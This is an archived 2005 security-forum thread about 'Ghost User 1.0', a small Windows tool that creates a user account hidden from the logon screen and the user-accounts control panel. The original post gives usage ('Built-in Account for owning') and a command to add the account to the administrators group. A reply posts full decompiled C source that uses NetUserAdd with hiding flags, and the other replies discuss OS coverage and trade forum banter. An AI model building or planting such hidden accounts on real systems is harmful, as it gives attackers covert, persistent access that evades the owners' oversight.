Articles

Metasploit Framework Windows Tutorial
Remote Desktop Connection
Windows Processes That May Be Dangerous
How-To use NetCat a Tutorial
Common Linux Commands
Common Ports
Netcat Commands
HTTP Response Codes
War-Google Hack Terms
Wardriving
Avoiding Social Engineering and Phishing Attacks
Intrusion Detection on Linux
Linux Intrusion Detection
Penetration Testing Guide
Penetration Testing Tools
Social Engineering Fundamentals, Part I: Hacker Tactics
Social engineering (computer security)
The Psychology of Social Engineering

The Archives

General GSO
GovernmentSecurity.org News & Suggestions
In The News
Open Topic
General Security Information
Trash Can
Exploit & Vulnerability Mailing List Archives
Trial Member Forum
Product and Program Reviews GSO Tutorials
System Security
Windows Systems
Beginners Section
Linux & Unix Systems
File Downloads
Exploit Research & Discussion Trojan & Virus Errata
Networking Security / Firewall / IDS / VPN / Routers
System Hardening
E-Mail Security
Wifi Security
Trial Member Uploads
Upload discovered Trojans & Mal ware
GSO Programming Section
C , C++ , VC++
Visual Basic.NET
Perl /CGI
Java/Javascript
PHP/XML/ASP/HTML
Assembly + Other
The Cork Board
Network Security Consultant Directory
Network Security Jobs
The Archives
Encryption Information
General Network Security
Internet Anonymity
HTTP Protocol Security
Linux Security
MS IIS Information
Exploit Articles
Programming / Tool Design
GSO Software Projects
Public Downloads
Microsoft Security Questions and Papers

Full Version: Ghost User 1.0
illwill
CODE

---------------------------------------------------------------------------------------------------
2.5kb app that creates a hidden user account from the logon screen and control panel user accounts.
---------------------------------------------------------------------------------------------------
This doesnt use any special trickery like adding the user to the special accounts in the registry
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
its actually a flaw in the User Account Manager* which doesnt show all the users with netapi.
Verified on Windows 2000 Pro,Windows XP Home Edition,Windows XP Pro & Windows 2003 Standard Edition.



   Usage: GU.exe <user> <pass> <description>
   Example: GU SecureMS letmein "Built-in Account for owning."


*Account will show up in Computer Management console
*start/run lusrmgr.msc or compmgmt.msc
also it only adds user with USER privs
if you have admin privs in your shell you can
net localgroup administrators <user> /add

---------------------------------------------------------------------------------------------------
tibbar
interesting little prog there. i presume it gets hidden from the user account manager as you have set usri1_flags = UF_SCRIPT ? That does seem to be a flaw rather than a feature.

As I was feeling bored, here's the source code in c, translated from disassembly:

CODE

#define UNICODE

#include <wchar.h>
#include "windows.h"
#include "lm.h"

#pragma comment(lib, "Netapi32.lib")

int wmain(int argc, wchar_t *argv[])
{
if (argc != 4)
{
 wprintf(L"Usage: gu.exe UserName Password Description\n");
 return 1;
}

USER_INFO_1 userInfo1;
userInfo1.usri1_name = argv[1];
userInfo1.usri1_password = argv[2];
userInfo1.usri1_password_age = 0x12FFA4;
userInfo1.usri1_priv = 1;
userInfo1.usri1_home_dir = NULL;
userInfo1.usri1_comment = argv[3];
userInfo1.usri1_flags = 1;
userInfo1.usri1_script_path = 0;

DWORD dwError = 0;

NET_API_STATUS nStatus = NetUserAdd(0,
                       1,
                       (LPBYTE)&userInfo1,
                       &dwError);
return 0;
}


Also, what is the significance of: userInfo1.usri1_password_age = 0x12FFA4; I thought that NetUserAdd ignores this value?

netxman
The user account will be showed in command "net user" and Computer management of Control Panel.
tibbar
QUOTE(netxman @ Aug 6 2005, 03:59 PM)
The user account will be showed in command "net user" and Computer management of Control Panel.
*



i think illwill did actually say that in his post...
LittleHacker
is it for all NT ? blink.gif
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
I thought it just works for XP and not 2K
Divx_dude
QUOTE(LittleHacker @ Aug 7 2005, 05:34 AM)
is it for all NT ? blink.gif
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
I thought it just works for XP and not 2K
*




Windows Xp is the more GUI builded feature of windows2k
pingywon
another great release - works flawlessly wink.gif
s8ten
really nice coding dude could be a handy tool

[edit] Tibbar - NO THANX POSTS. Next one here gets 15 day vacation.
illwill
hey i want thnx post for my threads u bastard mad.gif

[edit] Tibbar - tough. Read the rules.
beardednose
@illwill,
All we ask is that when someone posts THANKS, he explains WHY he's thankful.

We're not against thanking, we just expect a bit more from our members and lurkers.
illwill
thanx for your post tibbar
nolimit
QUOTE(illwill @ Aug 10 2005, 10:53 PM)
thanx for your post tibbar
*


hahahahahah loves it.
crock
At first, it doesn't show up.

But after adding it to the administrator group, it shows up sad.gif

This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.
Invision Power Board © 2001-2005 Invision Power Services, Inc.